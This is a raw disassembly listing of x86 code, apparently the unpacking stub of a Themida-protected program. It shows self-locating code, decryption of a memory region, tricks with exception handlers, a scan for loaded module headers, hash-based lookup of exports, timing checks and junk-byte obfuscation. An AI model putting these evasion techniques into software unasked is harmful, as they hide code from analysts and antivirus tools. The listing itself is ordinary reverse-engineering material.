var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7D13595h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_589BE3:				; CODE XREF: sub_589BC7+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_589C02
		mov	eax, [ebp+arg_0]
		mov	[ebx+7D134FFh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_589BE3
; ---------------------------------------------------------------------------


loc_589C02:				; CODE XREF: sub_589BC7+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_589BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_589C0D	proc near		; CODE XREF: start+74B15p start+74B1Fp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7D135DEh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_589C33:				; CODE XREF: sub_589C0D+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_589C33
		mov	[ebp+var_84], 0
		lea	edi, [edx+7D134FFh]
		lea	esi, [ebp+var_80]


loc_589C63:				; CODE XREF: sub_589C0D+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_589C6F:				; CODE XREF: sub_589C0D+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_589C6F
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_589C63
		popa
		leave
		retn	4
sub_589C0D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_589CAD
; ---------------------------------------------------------------------------


loc_589CA9:				; CODE XREF: Themida_:00589CB0j
		inc	dword ptr [ebp-4]
		inc	esi


loc_589CAD:				; CODE XREF: Themida_:00589CA7j
		cmp	byte ptr [esi],	0
		jnz	short loc_589CA9
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_589D3E
; ---------------------------------------------------------------------------


loc_589CBF:				; CODE XREF: Themida_:00589D41j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_589D35
; ---------------------------------------------------------------------------


loc_589CC8:				; CODE XREF: Themida_:00589D39j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_589D22
; ---------------------------------------------------------------------------


loc_589CD8:				; CODE XREF: Themida_:00589D26j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_589CFA
		cmp	bl, 39h
		ja	short loc_589CFA
		sub	bl, 30h
		jmp	short loc_589D1C
; ---------------------------------------------------------------------------


loc_589CFA:				; CODE XREF: Themida_:00589CEEj
					; Themida_:00589CF3j
		cmp	bl, 61h
		jb	short loc_589D0C
		cmp	bl, 66h
		ja	short loc_589D0C
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_589D1C
; ---------------------------------------------------------------------------


loc_589D0C:				; CODE XREF: Themida_:00589CFDj
					; Themida_:00589D02j
		cmp	bl, 41h
		jb	short loc_589D1C
		cmp	bl, 46h
		ja	short loc_589D1C
		sub	bl, 41h
		add	bl, 0Ah


loc_589D1C:				; CODE XREF: Themida_:00589CF8j
					; Themida_:00589D0Aj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_589D22:				; CODE XREF: Themida_:00589CD6j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_589CD8
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_589D32
		mov	eax, [ebp-10h]
		stosb


loc_589D32:				; CODE XREF: Themida_:00589D2Cj
		inc	dword ptr [ebp-8]


loc_589D35:				; CODE XREF: Themida_:00589CC6j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_589CC8
		add	edx, 4


loc_589D3E:				; CODE XREF: Themida_:00589CBDj
		cmp	edx, [ebp-4]
		jb	loc_589CBF
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_589D51:				; CODE XREF: start+74B24j
		mov	ecx, 7000h
		lea	edi, [ebp+7D13724h]


loc_589D5C:				; CODE XREF: start+74D4Cj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_589D5C
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7D1382Fh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	ebp
		call	sub_589D98
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_589D98	proc near		; CODE XREF: start+74D7Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_589D98	endp

; ---------------------------------------------------------------------------
		sahf
		fisubr	dword ptr [edi+ebx*8-18h]
		mov	ds:77CA353Ch, al
		mov	bl, 0C4h
		pusha
		or	si, 39C0h
		movsx	esi, dx
		popa
		and	bx, 0A1F5h
		sub	eax, edx
		push	edx
		jmp	loc_589DD7
; ---------------------------------------------------------------------------
		db 7
		dd 9AD8CD11h, 93273E4Fh
		db 0B8h, 24h, 0C0h
; ---------------------------------------------------------------------------


loc_589DD7:				; CODE XREF: Themida_:00589DC6j
		pop	ebx
		and	eax, 0FFFFF000h
		mov	bx, di
		mov	ecx, edx
		xor	edi, edi


loc_589DE4:				; CODE XREF: Themida_:00589DFFj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_589DF9
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_589E01


loc_589DF9:				; CODE XREF: Themida_:00589DE9j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_589DE4
; ---------------------------------------------------------------------------


loc_589E01:				; CODE XREF: Themida_:00589DF7j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+7D13842h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_589E3B
		mov	esi, [eax+1Ch]


loc_589E3B:				; CODE XREF: Themida_:00589E36j
		xor	eax, eax


loc_589E3D:				; CODE XREF: Themida_:00589E50j
		cmp	eax, 32h
		jz	short loc_589E61
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_589E52


loc_589E49:				; CODE XREF: Themida_:00589E5Fj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_589E3D
; ---------------------------------------------------------------------------


loc_589E52:				; CODE XREF: Themida_:00589E47j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_589EA3
		jmp	short loc_589E49
; ---------------------------------------------------------------------------


loc_589E61:				; CODE XREF: Themida_:00589E40j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7D1384Dh
		lea	eax, [ebp+7D1380Bh]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_589EA3:				; CODE XREF: Themida_:00589E5Dj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	bx, 0C8A8h
		mov	bx, si
		mov	cx, ds
		add	ebx, 15E88599h
		and	cl, 4
		mov	ebx, 6F130200h
		or	cl, cl
		jnz	loc_589F12
		push	0
		push	edx
		call	sub_589ED9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589ED9	proc near		; CODE XREF: Themida_:00589ED1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_589ED9	endp

; ---------------------------------------------------------------------------
		db 8Fh,	0F4h, 69h
		dd 6E4DAE1Eh, 600E9EABh, 66CA8B66h, 0C761F08Bh,	0D1171585h
		dd 107h, 0E3816600h, 17E9090Bh,	80000000h
		db 0DBh, 46h
; ---------------------------------------------------------------------------


loc_589F12:				; CODE XREF: Themida_:00589EC8j
		mov	dword ptr [ebp+7D11715h], 0
		jl	loc_589F26
		mov	bx, 0A30Dh


loc_589F26:				; CODE XREF: Themida_:00589F1Cj
		mov	[ebp+7D11CC9h],	eax
		push	0
		push	edx
		call	sub_589F37
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589F37	proc near		; CODE XREF: Themida_:00589F2Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_589F37	endp

; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		cmp	byte ptr [edi-499A1806h], 8Ah
		std
		mov	bl, al
		movsx	ebx, si
		mov	[ebp+7D10831h],	eax
		call	sub_589F6C
		pop	eax
		jnz	short loc_589FCA
		mov	ecx, 0E28155Eh
		cmc
		mov	gs, [esi+66h]

; =============== S U B	R O U T	I N E =======================================



sub_589F6C	proc near		; CODE XREF: Themida_:00589F5Bp
		sbb	si, 3BFh
		pop	ebx
		pusha
		mov	di, 71B3h
		jmp	loc_589F8E
; ---------------------------------------------------------------------------
		dd 570F314Ah, 0AEFCF3F8h, 78850523h, 814748FFh
		db 0C1h, 63h
; ---------------------------------------------------------------------------


loc_589F8E:				; CODE XREF: sub_589F6C+Bj
		popa
		add	ebx, 6EF6h
		mov	si, dx
		xor	ecx, ecx
		mov	edx, 7A867BC5h


loc_589F9F:				; CODE XREF: sub_589F6C+AEj
		push	dword ptr [ecx+ebx]
		movzx	edx, bx
		pop	edi
		jmp	loc_589FB0
; ---------------------------------------------------------------------------
		db 4Fh
		dd 7C637014h
; ---------------------------------------------------------------------------


loc_589FB0:				; CODE XREF: sub_589F6C+3Aj
		add	edi, 0CC4C01Fh
		stc
		xor	edi, 5999EED8h
		mov	edx, eax
		add	edi, 205D5D9Ch
		add	si, 876Dh


loc_589FCA:				; CODE XREF: Themida_:00589F61j
		push	edi
		mov	al, dh
		pop	dword ptr [ebx+ecx]
		clc
		jmp	loc_589FDB
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		pop	ebx
		mov	eax, ebx
		push	esi


loc_589FDB:				; CODE XREF: sub_589F6C+65j
		sub	ecx, 45A04991h
		mov	dl, cl
		add	ecx, 45A0498Dh
		movzx	esi, dx
		cmp	ecx, 0FFFF91D8h
		jnz	loc_58A018
		jo	loc_58A003
		mov	esi, 55222677h


loc_58A003:				; CODE XREF: sub_589F6C+8Cj
		jmp	loc_58A032
; ---------------------------------------------------------------------------
		dd 1C72A6Fh, 4865637h, 1D7B48F3h, 0ECBACA46h
; ---------------------------------------------------------------------------


loc_58A018:				; CODE XREF: sub_589F6C+86j
		mov	dl, 77h
		jmp	loc_589F9F
; ---------------------------------------------------------------------------
		db 0DBh
		dd 39D7B8ECh, 7147783Dh, 86E19FEAh, 0A5F8092Dh
		db 0CAh, 47h
; ---------------------------------------------------------------------------


loc_58A032:				; CODE XREF: sub_589F6C:loc_58A003j
		call	near ptr loc_58A042+1
		fnstenv	byte ptr [ebx-47h]
		rcl	byte ptr [eax-1A01E8F3h], cl
		cwde
		stosb


loc_58A042:				; CODE XREF: sub_589F6C:loc_58A032p
		test	eax, 0CE8h
sub_589F6C	endp ; sp-analysis failed

		add	[ecx-7927A6F4h], cl
		cmpsb
		cmp	bl, 0DBh
		mov	ebx, 66B2494Fh
		pop	edx
		pop	eax
		jp	loc_58A062
		mov	cx, 2FD4h


loc_58A062:				; CODE XREF: Themida_:0058A058j
		add	eax, 5C5Bh
		mov	cl, 82h
		push	0
		mov	esi, 37734774h
		pop	edi
		movsx	esi, cx


loc_58A078:				; CODE XREF: Themida_:0058A112j
		push	dword ptr [edi+eax]
		stc
		pop	ebx
		adc	esi, 4034480h
		add	ebx, 521A1A96h
		mov	cx, 4F58h
		xor	ebx, 5A362C17h
		pusha
		sub	dx, 12CCh
		call	sub_58A0A4
		fbld	tbyte ptr [edi+2F796EEBh]

; =============== S U B	R O U T	I N E =======================================



sub_58A0A4	proc near		; CODE XREF: Themida_:0058A099p
		add	esi, 57D0A8E8h
		pop	esi
		popa
		sub	ebx, 552C3F21h
		mov	edx, esi
		push	ebx
		jnp	loc_58A0C3
		jno	loc_58A0C3
		pusha
		popa


loc_58A0C3:				; CODE XREF: sub_58A0A4+11j
					; sub_58A0A4+17j
		pop	dword ptr [eax+edi]
		call	loc_58A0D0
		aad	64h
		cmpsd
		push	ss
		iret
sub_58A0A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58A0D0:				; CODE XREF: sub_58A0A4+22p
		pusha
		mov	di, 75DBh
		mov	esi, 11BDF22Dh
		popa
		pop	ecx
		pusha
		jg	loc_58A0E5
		mov	esi, edx


loc_58A0E5:				; CODE XREF: Themida_:0058A0DDj
		adc	ah, 0B7h
		popa
		sub	edi, 4
		push	edi
		push	ebx
		pop	esi
		pop	ecx
		cmp	edi, 0FFFFA48Ch
		jnz	loc_58A10D
		or	dh, 25h
		jmp	loc_58A122
; ---------------------------------------------------------------------------
		dd 1845A1Fh, 269DD856h
		db 7Fh
; ---------------------------------------------------------------------------


loc_58A10D:				; CODE XREF: Themida_:0058A0F6j
		xor	dx, 4E45h
		jmp	loc_58A078
; ---------------------------------------------------------------------------
		db 0CDh
		dd 1B464C47h, 0C9940CCEh
		db 9Bh,	0B9h
; ---------------------------------------------------------------------------


loc_58A122:				; CODE XREF: Themida_:0058A0FFj
		jmp	short loc_58A128
; ---------------------------------------------------------------------------
		dd 384h
; ---------------------------------------------------------------------------


loc_58A128:				; CODE XREF: Themida_:loc_58A122j
		jmp	loc_58A7BE
; ---------------------------------------------------------------------------
		jnb	loc_58A13F
		jno	loc_58A13F
		or	[ebp+7D11419h],	edi


loc_58A13F:				; CODE XREF: Themida_:0058A12Dj
					; Themida_:0058A133j
		pusha
		jmp	loc_58A153
; ---------------------------------------------------------------------------
		db 0EAh, 37h, 0F9h
		dd 78E96427h, 51DD6253h
; ---------------------------------------------------------------------------
		mov	word ptr [ebx+56h], ss


loc_58A153:				; CODE XREF: Themida_:0058A140j
		sub	eax, eax
		stc
		mov	edx, [esp+28h]
		mov	[ebp+7D1258Dh],	ebx
		mov	[ebp+7D12EA9h],	eax
		pusha
		mov	dx, cx
		mov	[ebp+7D12755h],	esi
		popa
		mov	esi, 3Ch
		jg	loc_58A194
		jmp	loc_58A194
; ---------------------------------------------------------------------------
		db 21h,	0ECh, 0DEh
		dd 1F952C20h, 0C4810095h, 9FBF4DB9h, 6C2A726Ch
; ---------------------------------------------------------------------------


loc_58A194:				; CODE XREF: Themida_:0058A176j
					; Themida_:0058A17Cj
		add	esi, [esp+24h]
		js	loc_58A19F
		stc


loc_58A19F:				; CODE XREF: Themida_:0058A198j
		lodsw
		jle	loc_58A1AD
		xor	[ebp+7D125C9h],	ecx


loc_58A1AD:				; CODE XREF: Themida_:0058A1A1j
		add	eax, [esp+24h]
		mov	[ebp+7D13055h],	edx
		nop
		jmp	loc_58A1CA
; ---------------------------------------------------------------------------
		adc	al, 4Bh
		wait
		retn
; ---------------------------------------------------------------------------
		db 0A2h, 15h, 0E4h
		dd 0A88EC7D1h
		db 53h,	0D2h
; ---------------------------------------------------------------------------


loc_58A1CA:				; CODE XREF: Themida_:0058A1B8j
		push	eax
		push	eax
		push	edx
		pusha
		pusha
		popa
		jl	$+6
		popa
		rdtsc
		pusha
		mov	bl, 9Eh
		mov	dh, bl
		popa
		pop	edx
		pop	eax
		nop
		jmp	loc_58A1FB
; ---------------------------------------------------------------------------
		db 3Ch
		db 90h
		db 0F7h, 0D5h, 51h
		dd 157C1134h, 0FEA2A21Eh, 6709C2CAh
		db 5Dh,	0F3h, 33h
; ---------------------------------------------------------------------------


loc_58A1FB:				; CODE XREF: Themida_:0058A1E2j
		mov	eax, [eax+78h]
		jz	loc_58A20A
		mov	[ebp+7D12CC5h],	eax


loc_58A20A:				; CODE XREF: Themida_:0058A1FEj
		add	eax, [esp+28h]
		pusha
		mov	ebx, edi
		mov	ecx, [ebp+7D12E7Dh]
		popa
		mov	eax, [eax+18h]
		or	[ebp+7D12331h],	eax
		inc	eax
		jp	loc_58A22E
		pusha
		pusha
		popa
		mov	cl, 0A7h
		popa


loc_58A22E:				; CODE XREF: Themida_:0058A222j
		mov	[ebp+7D13AE6h],	eax
		jmp	loc_58A246
; ---------------------------------------------------------------------------
		db 0DEh, 94h, 0C3h
		dd 218D0BE5h, 0F06C85B1h
		db 0BDh, 0FBh
; ---------------------------------------------------------------------------


loc_58A246:				; CODE XREF: Themida_:0058A234j
		pop	eax
		pusha
		call	near ptr sub_58A256
		xor	eax, 9B1780B2h
		aas
		pmaddwd	mm2, mm5

; =============== S U B	R O U T	I N E =======================================



sub_58A256	proc far		; CODE XREF: Themida_:0058A248p

arg_40		= dword	ptr  48h

		mov	dx, 0EF45h
		pop	eax
		mov	bx, ax
		popa
		mov	esi, [eax+78h]
		mov	[ebp+7D1208Dh],	ebx
		add	esi, 1Ch
		pusha
		cmc
		movzx	edx, di
		popa
		add	[ebp+7D1322Dh],	ecx
		add	esi, [esp-24h+arg_40]
		clc
		lea	edi, [ebp+7D13105h]
		jmp	loc_58A28F
; ---------------------------------------------------------------------------
		db 0FBh
		dd 49D10E6Ch
		db 4Dh,	0CFh, 0D9h
; ---------------------------------------------------------------------------


loc_58A28F:				; CODE XREF: sub_58A256+2Cj
		lodsd
		pusha
		push	edi
		call	sub_58A2A0
		out	dx, eax
		retf	0D799h
sub_58A256	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 60h
		dd 3268F8D6h

; =============== S U B	R O U T	I N E =======================================



sub_58A2A0	proc near		; CODE XREF: sub_58A256+3Cp

arg_20		= dword	ptr  24h
arg_40		= dword	ptr  44h
arg_48		= dword	ptr  4Ch

		pop	eax
		pop	edx
		and	edx, [ebp+7D11815h]
		popa
		add	eax, [esp-28h+arg_48]
		mov	[ebp+7D11591h],	edx
		stosd
		clc
		lea	edi, [ebp+7D1151Dh]
		cmc
		lodsd
		jmp	loc_58A2D4
; ---------------------------------------------------------------------------
		dw 0D813h
		dd 0A5E1DC30h, 0AD4FDFE9h, 0AECF6CAAh, 92FEBAACh
; ---------------------------------------------------------------------------


loc_58A2D4:				; CODE XREF: sub_58A2A0+1Dj
		add	eax, [esp-28h+arg_48]
		pusha
		or	edi, 29FF4CCBh
		movzx	eax, cx
		popa
		push	eax
		jge	loc_58A2F0
		pusha
		mov	bl, 0A5h
		pusha
		popa
		popa


loc_58A2F0:				; CODE XREF: sub_58A2A0+44j
		mov	[esp-24h+arg_20], eax
		jmp	loc_58A309
; ---------------------------------------------------------------------------
		dd 99E57994h, 7EEF0838h, 0A1BD06BFh, 0F552AAD3h
		db 0BAh
; ---------------------------------------------------------------------------


loc_58A309:				; CODE XREF: sub_58A2A0+53j
		stosd
		jl	loc_58A317
		jp	loc_58A317
		cld


loc_58A317:				; CODE XREF: sub_58A2A0+6Aj
					; sub_58A2A0+70j
		lea	edi, [ebp+7D110C1h]
		mov	[ebp+7D126B5h],	edi
		lodsd
		jnb	loc_58A330
		mov	[ebp+7D12485h],	ecx


loc_58A330:				; CODE XREF: sub_58A2A0+84j
		add	eax, [esp-24h+arg_48]
		jmp	loc_58A34A
; ---------------------------------------------------------------------------
		db 0FEh, 0FCh, 0Bh
		dd 3A4243BAh, 0FCD598C6h, 9A50A1A8h
; ---------------------------------------------------------------------------
		push	edi
		pop	ebp


loc_58A34A:				; CODE XREF: sub_58A2A0+94j
		stosd
		jle	loc_58A361
		ja	loc_58A361
		jmp	loc_58A361
; ---------------------------------------------------------------------------
		dd 7628EDEDh
; ---------------------------------------------------------------------------
		popf


loc_58A361:				; CODE XREF: sub_58A2A0+ABj
					; sub_58A2A0+B1j ...
		pop	esi
		cld


loc_58A363:				; CODE XREF: sub_58A2A0+14Fj
		dec	dword ptr [ebp+7D13AE6h]
		cmp	dword ptr [ebp+7D13AE6h], 0
		jnz	short loc_58A382
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+7D13F92h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_58A382:				; CODE XREF: sub_58A2A0+D0j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+7D131B5h]
		test	al, al
		jz	short loc_58A399
		cmp	al, [edi]
		jnz	short loc_58A3E5


loc_58A399:				; CODE XREF: sub_58A2A0+F3j
		push	edi
		xor	al, al


loc_58A39C:				; CODE XREF: sub_58A2A0+FDj
		scasb
		jnz	short loc_58A39C
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_58A3A9:				; CODE XREF: sub_58A2A0+132j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_58A3B8:				; CODE XREF: sub_58A2A0+12Bj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_58A3C9
		xor	ax, 5041h
		xor	bx, 5449h


loc_58A3C9:				; CODE XREF: sub_58A2A0+11Ej
		dec	dh
		jnz	short loc_58A3B8
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_58A3A9
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_58A3F4


loc_58A3E5:				; CODE XREF: sub_58A2A0+F7j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+7D12EA9h]
		jmp	loc_58A363
; ---------------------------------------------------------------------------


loc_58A3F4:				; CODE XREF: sub_58A2A0+143j
		pop	esi
		clc
		pusha
		mov	[ebp+7D1086Dh],	edi
		mov	ebx, [ebp+7D13229h]
		popa
		mov	eax, [ebp+7D12EA9h]
		sub	[ebp+7D12469h],	edi
		shl	eax, 1
		clc
		jmp	loc_58A426
; ---------------------------------------------------------------------------
		dd 0EE7B63FDh, 880236BFh, 0C014DF08h
		db 0, 0C2h
; ---------------------------------------------------------------------------


loc_58A426:				; CODE XREF: sub_58A2A0+173j
		add	eax, [ebp+7D110C1h]
		mov	[ebp+7D128A9h],	ecx
		mov	esi, 0
		jge	loc_58A447
		pusha
		mov	esi, eax
		mov	[ebp+7D116D1h],	esi
		popa


loc_58A447:				; CODE XREF: sub_58A2A0+197j
		xchg	eax, esi
		mov	[ebp+7D12BB9h],	esi
		lodsw
		jmp	loc_58A45C
; ---------------------------------------------------------------------------
		db 2Ah,	0ECh, 19h
		dd 4B96D67h
; ---------------------------------------------------------------------------


loc_58A45C:				; CODE XREF: sub_58A2A0+1B0j
		shl	eax, 2
		sub	[ebp+7D10229h],	esi
		add	eax, [ebp+7D13105h]
		jmp	loc_58A47E
; ---------------------------------------------------------------------------
		dd 934F25h, 0EADE561Fh,	0BB74DA96h
		db 36h,	76h
; ---------------------------------------------------------------------------


loc_58A47E:				; CODE XREF: sub_58A2A0+1CBj
		mov	[ebp+7D12B91h],	ebx
		xchg	eax, esi
		clc
		lodsd
		jl	loc_58A4A6
		jmp	loc_58A4A6
; ---------------------------------------------------------------------------
		cmc
		cmc
		retn
; ---------------------------------------------------------------------------
		db 14h,	44h, 0F0h
		dd 71325AE5h, 8B8321EFh, 510AE5A0h
		db 83h,	0FBh
; ---------------------------------------------------------------------------


loc_58A4A6:				; CODE XREF: sub_58A2A0+1E7j
					; sub_58A2A0+1EDj
		mov	ecx, [esp+24h]
		mov	[ebp+7D116E5h],	esi
		xor	[ebp+7D12605h],	eax
		add	eax, [esp+24h]
		mov	[ebp+7D11BA5h],	ebx
		mov	[esp+1Ch], eax
		add	[ebp+7D12CF5h],	eax
		xchg	eax, esi
		jmp	loc_58A4DF
; ---------------------------------------------------------------------------
		inc	edi
		retn
; ---------------------------------------------------------------------------
		dw 98AEh
		dd 5A745B2Dh, 48FB14Bh
; ---------------------------------------------------------------------------
		push	65h
		wait


loc_58A4DF:				; CODE XREF: sub_58A2A0+22Bj
		lodsb
		jmp	loc_58A4F7
; ---------------------------------------------------------------------------
		db 0A4h, 0E6h, 0ADh
		dd 2A4BA5DBh, 6CA8614Bh, 0C11C42C5h
		db 0F0h, 0B8h, 9Bh
; ---------------------------------------------------------------------------


loc_58A4F7:				; CODE XREF: sub_58A2A0+240j
		xor	cl, cl
		jmp	loc_58A505
; ---------------------------------------------------------------------------
		aas
		cmp	al, 20h
		pop	edx
		das
		push	7Eh


loc_58A505:				; CODE XREF: sub_58A2A0+259j
		inc	cl
		pusha
		mov	[ebp+7D13125h],	ecx
		jnb	$+6
		popa


loc_58A515:				; CODE XREF: sub_58A2A0+2C2j
		rcl	al, 1
		jnb	loc_58A5D0
		jmp	loc_58A530
; ---------------------------------------------------------------------------
		dw 0C61Ch
		dd 732E6D9Ah, 0BA590E04h, 251AE799h
; ---------------------------------------------------------------------------


loc_58A530:				; CODE XREF: sub_58A2A0+27Dj
		rcl	al, 1
		jnb	loc_58A5D0
		jnb	loc_58A544
		mov	[ebp+7D118F1h],	ebx


loc_58A544:				; CODE XREF: sub_58A2A0+298j
		rcl	al, 1
		jb	loc_58A5D0
		xor	[ebp+7D11389h],	ecx
		rcl	al, 1
		jb	loc_58A5D0
		sub	[ebp+7D101FDh],	eax
		dec	cl
		jns	loc_58A515
		cld
		add	esp, 20h
		jbe	loc_58A578
		mov	[ebp+7D12EF5h],	edx


loc_58A578:				; CODE XREF: sub_58A2A0+2CCj
		mov	[esp-48h+arg_40], 0
		jnb	loc_58A597
		jmp	loc_58A597
; ---------------------------------------------------------------------------
		db 0C9h
		dd 5E9BD8B4h, 77A64747h
		db 4Ah,	63h, 9Eh
; ---------------------------------------------------------------------------


loc_58A597:				; CODE XREF: sub_58A2A0+2E0j
					; sub_58A2A0+2E6j
		jmp	loc_58A5AD
; ---------------------------------------------------------------------------
		dd 0E19872DAh, 71A91689h, 0AAF980B4h, 0BD436BF0h
		db 0DCh
; ---------------------------------------------------------------------------


loc_58A5AD:				; CODE XREF: sub_58A2A0:loc_58A597j
		mov	eax, 1
		mov	[ebp+7D10CA1h],	ecx
		lea	ecx, [ebp+7D170C4h]
		add	[ebp+7D119F9h],	ebx
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_58A5D0
; ---------------------------------------------------------------------------
		db 2Ah
		dd 20E04872h
; ---------------------------------------------------------------------------


loc_58A5D0:				; CODE XREF: sub_58A2A0+277j
					; sub_58A2A0+292j ...
		mov	byte ptr [ebp+7D131B5h], 0
		pusha
		mov	dh, 0FFh
		call	near ptr loc_58A5E3+1
		xor	bl, bh
		push	ds
		inc	esp


loc_58A5E3:				; CODE XREF: sub_58A2A0+33Ap
		loop	near ptr dword_58A608
sub_58A2A0	endp ; sp-analysis failed

		mov	ch, 95h
		sub	eax, 615A07D1h
		popa
		cmc
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh,	86h, 6
		dd 60000000h, 0F88B66F9h, 8A0F5061h, 13h, 9E860h
dword_58A608	dd 0E3DD0000h, 0EC30C8C9h, 5B98A4BFh, 89615857h, 0BD292434h
					; CODE XREF: sub_58A2A0:loc_58A5E3j
		dd 7D12DF5h, 4162B589h,	89F907D1h, 0D141738Dh, 66F96007h
		dd 7B63EA81h, 47B58D61h, 2907D140h, 0D1028195h,	0A1858D07h
		dd 0E9005B8Eh, 0Fh, 0AA7CD00Ah,	44AE5785h, 435BD272h, 0FF5C56ADh
		dd 0F19501D0h, 5E07D12Eh, 19810Fh, 14E90000h, 3A000000h
		dd 840EC961h, 85E1BCF5h, 2CF424DCh, 1C18B909h, 0C35EF077h
		dd 62B58BF5h, 8907D141h, 0D133F99Dh, 738D8B07h,	0F907D141h
		dd 0B589C02Bh, 7D116F5h, 0E960D98Bh, 0Bh, 0A5CD0C5Dh, 6CA5A0Dh
		dd 515087D2h, 810Fh, 61580000h,	0B0E9h,	60606000h, 558D8B61h
		dd 6107D110h, 0DE9h, 0F799AA00h, 9006F814h, 0C0AAA951h
		dd 3261B746h, 12830F26h, 60000000h, 8E9h, 0A08D7800h, 8F7C2357h
		dd 0DBBF0F19h, 0F502B261h, 4CE9h, 0C880F00h, 0F000000h
